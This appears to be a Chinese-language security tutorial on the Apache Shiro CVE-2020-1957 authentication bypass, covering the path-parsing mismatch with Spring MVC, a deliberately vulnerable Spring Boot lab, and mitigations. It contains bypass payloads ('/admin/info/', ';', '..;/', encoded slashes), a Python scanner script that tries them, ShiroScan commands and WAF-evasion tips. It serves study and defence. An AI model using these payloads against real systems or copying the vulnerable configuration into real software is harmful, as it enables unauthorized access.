
1. 项目概述与核心价值最近在整理内部安全审计的案例库翻到了几年前一个挺有意思的漏洞——Shiro的CVE-2020-1957。这个漏洞虽然不像它的“前辈”CVE-2016-4437Shiro反序列化那样名声在外但在特定场景下它那种“悄无声息”绕过认证的能力确实能给系统带来不小的麻烦。我记得当时在复现和测试过程中踩了不少坑也总结出了一些在官方通告和POC里看不到的细节。今天我就把这个漏洞从原理到实战的完整链条拆解一遍目标是让你看完之后不仅能自己动手搭环境、复现漏洞更能理解它背后的设计逻辑和防御思路。简单来说CVE-2020-1957是一个Apache Shiro框架在1.5.2及之前版本中存在的认证绕过漏洞。攻击者通过构造特殊的请求路径可以绕过Shiro配置的权限过滤器直接访问到本应受保护的后端接口或资源。这个漏洞的触发条件相对苛刻但一旦环境匹配危害是直接的未授权访问。对于安全研究人员、渗透测试工程师和Java后端开发者而言深入理解这个漏洞一方面能帮助你在黑盒测试中多一个检测思路另一方面也能在设计或审查基于Shiro的权限系统时避开类似的坑。2. 漏洞原理深度剖析不仅仅是“/”的问题很多人初看这个漏洞的公告会简单地理解为“因为Shiro对URI的处理与Spring等Web框架不一致导致/和;被特殊处理从而绕过”。这个说法没错但太笼统了。要真正吃透它我们需要钻进Shiro的源码和请求处理流程里去看。2.1 Shiro的请求拦截与路径匹配机制Shiro的核心安全控制依赖于一系列过滤器Filter它们被配置在web.xml或通过Spring Boot的自动配置生效。最关键的过滤器是ShiroFilter它根据你在shiro.ini或ShiroFilterFactoryBean中配置的URL模式来决定对某个请求进行认证、授权或直接放行。这里的关键在于路径匹配。Shiro默认使用PathMatchingFilterChainResolver来解析请求的URI并将其与配置的链定义进行匹配。它内部依赖AntPathMatcher进行模式匹配。AntPathMatcher的行为有一个特点在进行模式匹配时它会**标准化normalize**请求的URI。什么是标准化一个常见的操作就是处理掉URI末尾的斜杠/和分号;及其后面的内容即;jsessionidxxx这类片段。在Java Servlet规范中分号后的部分被视为“路径参数”Path Parameters通常用于会话跟踪不应被视为资源路径的一部分。Shiro的AntPathMatcher在匹配前会调用HttpServletRequest的getServletPath()或getPathInfo()方法获取路径并对其进行处理移除这些路径参数。2.2 漏洞触发的核心矛盾点问题就出在这个“处理”的时机和方式上。我们假设一个典型的场景应用使用Spring MVC作为Web框架。配置了Shiro过滤器对/admin/*路径下的所有请求要求认证。存在一个后台接口其真实路径为/admin/page。正常请求GET /admin/pageShiro获取路径匹配/admin/*规则触发认证检查。请求到达Spring MVC的DispatcherServlet路由到/admin/page对应的控制器。流程正常。攻击请求GET /admin/page/Shiro获取路径假设它经过标准化处理可能会将/admin/page/视为/admin/page。关键在于Shiro的AntPathMatcher的匹配逻辑是模式/admin/*是否能匹配路径/admin/page/在Ant风格中*匹配零个或多个字符但不包括目录分隔符/。因此/admin/*无法匹配/admin/page/因为后者末尾多了一个/。由于不匹配/admin/*Shiro可能将其匹配到另一个链比如/** anon表示匿名访问从而放行了该请求。请求到达Spring MVC。Spring MVC的UrlPathHelper在解析路径时默认情况下会移除末尾的斜杠removeTrailingSlash属性可能为true。于是/admin/page/被处理成了/admin/page。Spring MVC成功将请求路由到/admin/page控制器。结果攻击者未经验证访问到了受保护资源。另一种常见变体是使用分号GET /admin/page;Shiro在处理时可能会将;及其之后的内容视为路径参数并移除然后拿/admin/page去匹配规则。如果配置的规则是/admin/*那么/admin/page是匹配的会触发认证。所以这种简单分号绕过在某些配置下可能无效。但更精妙的利用是结合目录遍历GET /admin/../page或/admin/page/..;/。Shiro的路径标准化可能会因为解析..父目录的方式与后端框架不一致导致匹配失败而放行。核心要点漏洞的本质是Shiro过滤器链对请求URI的解析、标准化和匹配逻辑与后端Web框架如Spring MVC、Struts2的路由解析逻辑存在差异。这种差异导致了一个请求在Shiro看来“不需要认证”但在后端框架看来却能“正确路由”到受保护的目标处理器。2.3 影响版本与条件影响版本Apache Shiro 1.5.2修复版本Apache Shiro 1.5.3触发条件使用了Shiro的权限拦截功能配置了非匿名访问的URL模式。Shiro与后端Web框架Spring MVC最常见对URI的处理存在不一致。请求路径的构造恰好利用了这种不一致如末尾加/、使用;、..等。3. 漏洞复现环境搭建从零开始构造靶场纸上得来终觉浅绝知此事要躬行。要真正理解漏洞亲手搭建环境复现是不可或缺的一步。下面我会详细演示如何搭建一个最贴近真实漏洞场景的Spring Boot Shiro 1.5.2环境。3.1 基础环境准备你需要准备Java开发环境JDK 8或11推荐8与漏洞时代更匹配。确保JAVA_HOME环境变量配置正确。集成开发环境IDEIntelliJ IDEA 或 Eclipse。本文以IDEA为例。构建工具Maven 3.6。浏览器及调试工具Chrome/Firefox并安装Burp Suite或浏览器开发者工具用于抓包改包。3.2 创建Spring Boot项目打开IDEA选择File - New - Project。选择Spring InitializrSDK选择你的JDK 8。Group和Artifact按喜好填写例如com.example和shiro-cve-demo。选择Spring Boot版本这里有个关键点为了环境兼容性我们选择2.2.x版本例如2.2.13.RELEASE。Spring Boot 2.3在路径处理上有些变化可能影响复现效果。依赖在Dependencies中选择Spring Web即可。Shiro的依赖我们手动添加。点击FinishIDEA会自动生成项目并下载初始依赖。3.3 引入存在漏洞的Shiro依赖打开项目根目录下的pom.xml文件在dependencies节点内添加Apache Shiro 1.5.2的依赖。!-- 存在漏洞的 Shiro 版本 -- dependency groupIdorg.apache.shiro/groupId artifactIdshiro-spring/artifactId version1.5.2/version !-- 关键使用漏洞版本 -- /dependency dependency groupIdorg.apache.shiro/groupId artifactIdshiro-web/artifactId version1.5.2/version /dependency添加后IDEA会自动下载依赖。如果下载慢可以检查或更换Maven镜像源为阿里云。3.4 编写模拟的业务控制器我们需要创建几个简单的REST端点来模拟需要权限保护的接口和公开接口。在src/main/java/com/example/shirocvedemo/下创建controller包然后创建AdminController.javapackage com.example.shirocvedemo.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; RestController RequestMapping(/admin) public class AdminController { GetMapping(/info) public String adminInfo() { return This is Admin Info Page (PROTECTED).; } GetMapping(/list) public String adminList() { return This is Admin List Page (PROTECTED).; } }再创建一个公开的控制器PublicController.javapackage com.example.shirocvedemo.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; RestController public class PublicController { GetMapping(/hello) public String hello() { return This is Public Hello Page.; } GetMapping(/) public String index() { return Welcome to Index Page.; } }3.5 配置存在漏洞的Shiro安全策略这是复现环境的核心。我们需要配置Shiro让其对/admin/*路径进行拦截要求认证而对其他路径放行。在src/main/java/com/example/shirocvedemo/下创建config包然后创建ShiroConfig.javapackage com.example.shirocvedemo.config; import org.apache.shiro.spring.web.ShiroFilterFactoryBean; import org.apache.shiro.web.mgt.DefaultWebSecurityManager; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import javax.servlet.Filter; import java.util.LinkedHashMap; import java.util.Map; Configuration public class ShiroConfig { // 1. 创建 Realm (这里使用最简单的实现不做真实认证) Bean public SimpleRealm simpleRealm() { return new SimpleRealm(); } // 2. 创建 SecurityManager Bean public DefaultWebSecurityManager securityManager(SimpleRealm realm) { DefaultWebSecurityManager securityManager new DefaultWebSecurityManager(); securityManager.setRealm(realm); return securityManager; } // 3. 创建 ShiroFilterFactoryBean (关键配置处) Bean public ShiroFilterFactoryBean shiroFilterFactoryBean(DefaultWebSecurityManager securityManager) { ShiroFilterFactoryBean factoryBean new ShiroFilterFactoryBean(); factoryBean.setSecurityManager(securityManager); // 设置登录页面可选用于演示重定向 factoryBean.setLoginUrl(/login); // 设置未授权页面 factoryBean.setUnauthorizedUrl(/unauth); // 定义权限拦截链 (注意顺序) MapString, String filterChainDefinitionMap new LinkedHashMap(); // 静态资源放行 (如果存在) filterChainDefinitionMap.put(/static/**, anon); // 公开接口放行 filterChainDefinitionMap.put(/hello, anon); filterChainDefinitionMap.put(/login, anon); // 对 /admin/ 下的所有请求进行认证拦截 filterChainDefinitionMap.put(/admin/**, authc); // authc 表示需要认证 // 默认策略通常放在最后 filterChainDefinitionMap.put(/**, anon); factoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap); return factoryBean; } }接着创建那个简单的SimpleRealm.java它不做真实校验只是为了让流程跑通package com.example.shirocvedemo.config; import org.apache.shiro.authc.*; import org.apache.shiro.realm.AuthenticatingRealm; public class SimpleRealm extends AuthenticatingRealm { Override protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException { // 这里为了简化直接拒绝所有认证模拟用户未登录状态。 // 在实际漏洞中正是因为“authc”过滤器会拦截并重定向到登录页而绕过漏洞避免了这一点。 throw new AuthenticationException(Not authenticated for demo purpose); } }最后创建一个简单的登录和未授权页面控制器PageController.java用于展示效果package com.example.shirocvedemo.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; Controller public class PageController { GetMapping(/login) public String loginPage() { return login; // 对应 templates/login.html (需要Thymeleaf等模板引擎这里简化) } GetMapping(/unauth) public String unauthPage() { return unauthorized; } }由于我们没引入模板引擎访问/login或/unauth会报404但这不影响核心漏洞的测试因为漏洞关注的是能否绕过认证访问/admin/info。环境搭建避坑指南Spring Boot版本务必使用2.2.x。Spring Boot 2.3引入了spring.mvc.pathmatch.matching-strategyant_path_matcher的默认值变化且对路径后缀的处理更严格可能导致复现失败。如果必须用高版本需在application.properties中显式设置spring.mvc.pathmatch.matching-strategyant_path_matcher。Shiro过滤器顺序在LinkedHashMap中定义链的顺序非常重要。更具体的路径如/admin/**应该放在更通用的路径如/**前面。Shiro会按顺序匹配使用第一个匹配成功的规则。Servlet容器差异内嵌的Tomcat、Jetty或Undertow对路径解析可能有细微差别。本环境基于Spring Boot默认的Tomcat是最常见的场景。3.6 启动并验证基础环境找到src/main/java下的ShiroCveDemoApplication主启动类运行它。打开浏览器或使用curl/Postman 测试访问http://localhost:8080/hello应返回This is Public Hello Page.正常。访问http://localhost:8080/admin/info应被重定向到/login或返回401/403取决于配置因为触发了authc过滤器。这说明Shiro的权限拦截在正常工作。检查控制台可能会看到Shiro抛出的认证异常日志这是预期的。至此一个存在CVE-2020-1957漏洞的Spring Boot Shiro 1.5.2 环境就搭建完成了。4. 渗透实践手动与工具结合验证漏洞环境准备好了接下来就是验证漏洞是否存在以及如何利用。我们将从手动测试开始逐步深入到使用自动化工具进行检测。4.1 手动探测与漏洞验证手动测试的核心是构造能触发路径解析差异的Payload。我们将使用Burp Suite的Repeater模块或浏览器开发者工具的网络选项卡进行测试。测试步骤基准测试正常请求发送GET /admin/info请求。预期结果返回302 Found重定向到/login或者直接返回401 Unauthorized/403 Forbidden。响应体可能为空或包含登录页面HTML。目的确认目标接口确实受到Shiro保护。漏洞Payload测试 我们尝试几种常见的绕过PayloadPayload 1: 末尾添加斜杠/请求GET /admin/info/观察重点响应状态码是否为200 OK响应内容是否包含This is Admin Info Page (PROTECTED).原理推测Shiro的/admin/**规则可能没有匹配到/admin/info/而后端Spring MVC将其标准化为/admin/info并处理了请求。Payload 2: 使用分号;请求GET /admin/info;观察重点同上是否返回了受保护的内容注意在Spring MVC默认配置下单纯的分号可能被直接忽略路径仍被视为/admin/info从而被Shiro拦截。这个Payload成功率相对较低但它是其他组合Payload的基础。Payload 3: 斜杠与分号组合请求GET /admin/info/;请求GET /admin/;info观察重点尝试多种组合观察哪种能绕过。Payload 4: 目录遍历..请求GET /admin/../info请求GET /admin/info/..观察重点Shiro在匹配前是否会解析..如果Shiro将路径标准化为/info因为/admin/../info/info那么它就不会匹配/admin/**规则从而可能放行。而后端框架可能以不同方式解析最终仍路由到/admin/info控制器。Payload 5: 编码混淆对斜杠或点进行URL编码。请求GET /admin/info%2f(%2f是/)请求GET /admin%2finfo请求GET /admin/info%2e(%2e是.)观察重点中间件Tomcat和Shiro对解码的时机可能不同造成解析差异。结果分析如果任何一个Payload返回了200 OK并且内容是受保护资源的信息则漏洞存在。在我们的实验环境中最有可能成功的是GET /admin/info/。你可以尝试一下。手动测试心得不要只测一种Payload不同版本的Shiro、Spring Boot、甚至Web服务器对路径的处理都有细微差别。一个Payload不行立刻换下一个。关注响应差异不仅仅是状态码。对比正常请求和被拦截请求的响应头、响应体大小、重定向地址。有时绕过后的响应可能与完全匿名访问的响应仍有细微差别如少了某个CookieSession状态不同。使用Burp Suite的Compare功能将正常被拦截的响应和疑似绕过的响应进行对比能快速发现不同。注意默认页面如果访问一个不存在的路径服务器可能返回404或默认错误页。确保你返回的200 OK内容确实是目标业务数据而不是一个默认的欢迎页面。4.2 使用自动化工具进行扫描手动测试虽然精准但效率低。在实际渗透测试中我们通常会借助工具进行初步筛查。对于Shiro漏洞有一些知名的工具和脚本。工具一ShiroScan (Python)这是一个集成了多个Shiro漏洞检测包括CVE-2020-1957、CVE-2020-11989、反序列化等的常用工具。安装pip install shiro-scan(如果不行可能需从GitHub克隆源码git clone https://github.com/shmilylty/ShiroScan.git然后python setup.py install)基础使用# 检测单个URL python shiro_scan.py -u http://target.com # 指定检测特定漏洞 python shiro_scan.py -u http://target.com --cve CVE-2020-1957 # 从文件读取URL列表进行批量检测 python shiro_scan.py -f urls.txt原理该工具会向目标发送一系列精心构造的、针对不同Shiro漏洞的Payload请求然后根据响应特征如状态码、响应头、响应体内容、响应时间差异来判断漏洞是否存在。优缺点优点功能全面覆盖多个CVE批量检测效率高。缺点Payload可能不够全面存在误报和漏报流量特征明显易被WAF/IDS拦截。工具二自定义Python脚本对于CVE-2020-1957我们可以编写一个简单的脚本来检测特定的路径绕过。这能让我们更灵活地控制Payload和判断逻辑。#!/usr/bin/env python3 import requests import sys import urllib.parse def test_shiro_bypass(target_url, protected_path): 测试 Shiro CVE-2020-1957 认证绕过 :param target_url: 目标基础URL如 http://localhost:8080 :param protected_path: 受保护的路径如 /admin/info headers {User-Agent: Mozilla/5.0 (Shiro-Scanner)} session requests.Session() # 1. 测试正常访问 (应被拦截) normal_url target_url protected_path try: resp_normal session.get(normal_url, headersheaders, allow_redirectsFalse, timeout5) print(f[*] 测试正常路径: {normal_url}) print(f 状态码: {resp_normal.status_code}, 内容长度: {len(resp_normal.content)}) # 判断是否被拦截常见的是302重定向到登录页或401/403 if resp_normal.status_code in [302, 401, 403]: print( [] 正常路径已被Shiro拦截。) else: print( [-] 正常路径未被拦截可能无需认证或配置有误。) return except Exception as e: print(f [-] 请求失败: {e}) return # 2. 定义绕过Payload列表 bypass_payloads [ protected_path /, # 末尾加斜杠 protected_path /;, # 末尾加斜杠和分号 protected_path /.., # 末尾加父目录 protected_path /../, # 末尾加父目录和斜杠 protected_path ;/, # 分号后加斜杠 protected_path %2f, # 编码斜杠 protected_path %20, # 空格 (有时有奇效) # 可以添加更多Payload ] print(f\n[*] 开始尝试绕过Payload...) for payload in bypass_payloads: test_url target_url payload try: resp_bypass session.get(test_url, headersheaders, allow_redirectsFalse, timeout5) print(f\n[*] 尝试Payload: {payload}) print(f 状态码: {resp_bypass.status_code}, 内容长度: {len(resp_bypass.content)}) # 判断是否可能绕过状态码为200且内容长度与正常被拦截时显著不同 if resp_bypass.status_code 200: # 简单判断如果返回了明显的内容且不是错误页 if len(resp_bypass.content) 100 and berror not in resp_bypass.content.lower(): print(f [!] 疑似绕过成功URL: {test_url}) print(f 响应预览: {resp_bypass.content[:200]}...) else: print(f [-] 返回200但可能是错误页或默认页。) elif resp_bypass.status_code resp_normal.status_code: print(f [-] 与正常请求状态相同未绕过。) else: print(f [-] 状态码不同({resp_bypass.status_code})但非200需进一步分析。) except Exception as e: print(f [-] 请求失败: {e}) if __name__ __main__: if len(sys.argv) ! 3: print(f用法: {sys.argv[0]} 目标URL 受保护路径) print(f示例: {sys.argv[0]} http://localhost:8080 /admin/info) sys.exit(1) target sys.argv[1].rstrip(/) path sys.argv[2] test_shiro_bypass(target, path)使用方式python shiro_cve_2020_1957_check.py http://localhost:8080 /admin/info这个脚本会先验证目标路径是否受保护然后逐一尝试常见的绕过Payload并根据状态码和响应内容给出提示。工具使用注意事项遵守授权仅在你自己搭建的测试环境或获得明确授权的目标上使用这些工具。流量控制自动化工具会产生大量请求可能对目标服务造成压力甚至触发告警。在测试生产环境时务必控制并发和速率。结果验证工具报告“疑似漏洞”后一定要手动复现确认避免误报。WAF/IPS规避工具的Payload可能被安全设备识别。在实战中可能需要随机化User-Agent、添加延迟、对Payload进行多次编码或拆分来绕过检测。5. 漏洞修复与安全加固建议复现漏洞是为了更好地防御。如果你正在开发或维护一个使用Shiro的项目以下是必须采取的加固措施。5.1 官方修复方案升级Shiro最根本、最有效的修复方法是升级Apache Shiro到安全版本。修复版本Apache Shiro 1.5.3升级方式 修改项目的pom.xml(Maven) 或build.gradle(Gradle) 文件将Shiro依赖版本更新至1.5.3或更高。dependency groupIdorg.apache.shiro/groupId artifactIdshiro-spring/artifactId version1.7.1/version !-- 使用当前最新稳定版 -- /dependency dependency groupIdorg.apache.shiro/groupId artifactIdshiro-web/artifactId version1.7.1/version /dependency修复原理在1.5.3版本中Shiro改进了PathMatchingFilterChainResolver的路径解析逻辑使其在与Spring等框架集成时对URI的标准化处理更加一致消除了因此产生的歧义空间。具体来说修复确保在匹配过滤器链之前对请求路径的规范化处理与后续Web容器的处理方式对齐。5.2 临时缓解措施如果无法立即升级在某些情况下升级可能无法立即进行。可以采取以下缓解措施来降低风险使用严格的URL模式匹配避免使用过于宽泛的通配符如/**。尽量为所有需要权限的接口配置精确路径。可以尝试在Shiro配置中为受保护的路径同时配置有斜杠结尾和无斜杠结尾的规则。但这只是一种补丁并非根本解决。filterChainDefinitionMap.put(/admin/**, authc); filterChainDefinitionMap.put(/admin/*/, authc); // 额外添加一条在后端控制器方法上添加额外的安全注解即使Shiro过滤器被绕过你还可以在Spring的控制器方法上使用PreAuthorize、Secured或RolesAllowed注解进行二次校验。这需要集成Spring Security或使用Shiro的注解但增加了安全层次。RestController RequestMapping(/admin) public class AdminController { GetMapping(/info) PreAuthorize(isAuthenticated()) // Spring Security注解 public String adminInfo() { return Protected Info; } }自定义过滤器进行路径规范化编写一个Servlet Filter放在Shiro Filter之前对进入的请求URI进行强制规范化如移除末尾多余的/解析..等确保传递给Shiro和后端框架的路径是统一的。这种方法侵入性较强需要仔细测试以避免影响正常功能。5.3 安全开发最佳实践除了修复特定漏洞建立良好的安全开发习惯更重要最小权限原则Shiro的权限配置应遵循此原则。默认情况下所有路径都应该是拒绝访问/** authc或/** roles[xxx]然后显式地放行公开资源/public/** anon。这比默认放行再拦截特定路径更安全。定期依赖扫描使用OWASP Dependency-Check、Snyk、GitHub Dependabot等工具持续监控项目依赖库中的已知漏洞CVE并及时更新。纵深防御不要仅仅依赖网关或Web框架的一层安全控制。在重要的业务逻辑入口再次进行权限和身份校验。安全测试将类似CVE-2020-1957的测试用例纳入自动化安全测试SAST/DAST流程或在每次版本更新后手动执行核心接口的未授权访问测试。6. 从CVE-2020-1957延伸的防御思考这个漏洞虽然原理不复杂但它揭示了一个在Web安全中普遍且重要的问题请求处理链上的不一致性。Shiro作为一个过滤器和Spring MVC的DispatcherServlet以及底层的Tomcat共同构成了一个请求处理管道。数据在这个管道中流动时每一层都可能对URL进行解析、解码、规范化。如果任意两层之间的处理逻辑存在差异就可能被攻击者利用作为“逃逸”某一层安全控制的突破口。类似的漏洞模式在其他场景中也屡见不鲜WAF绕过WAF的规则引擎对HTTP请求的解析与后端应用服务器不一致导致攻击Payload被WAF放过却被后端成功执行。URL重写/路由组件漏洞一些网关、负载均衡器或路由框架在重写URL时引入的歧义。多层解码差异例如Tomcat可能自动进行URL解码而应用层框架又进行了一次解码导致双重编码的Payload绕过检查。因此对于开发者和架构师来说防御此类漏洞的思路应该是标准化在系统的边界如最外层的网关、入口过滤器尽早对输入进行严格的标准化和规范化并在整个处理链中保持这种格式。协同设计当系统使用多个负责安全或路由的组件时如Shiro Spring MVC Gateway需要了解它们之间的交互细节确保其路径匹配、参数解析逻辑是兼容的。模糊测试针对系统的URL路由层进行模糊测试Fuzzing发送大量畸形、异常的路径和参数观察系统行为是否异常是发现此类逻辑漏洞的有效手段。回过头看CVE-2020-1957的修复正是Shiro社区通过标准化自己的路径处理逻辑使其与主流Web框架行为对齐从而堵上了这个“认知差”导致的缺口。这再次印证了在复杂系统中安全往往隐藏在组件交互的细节里。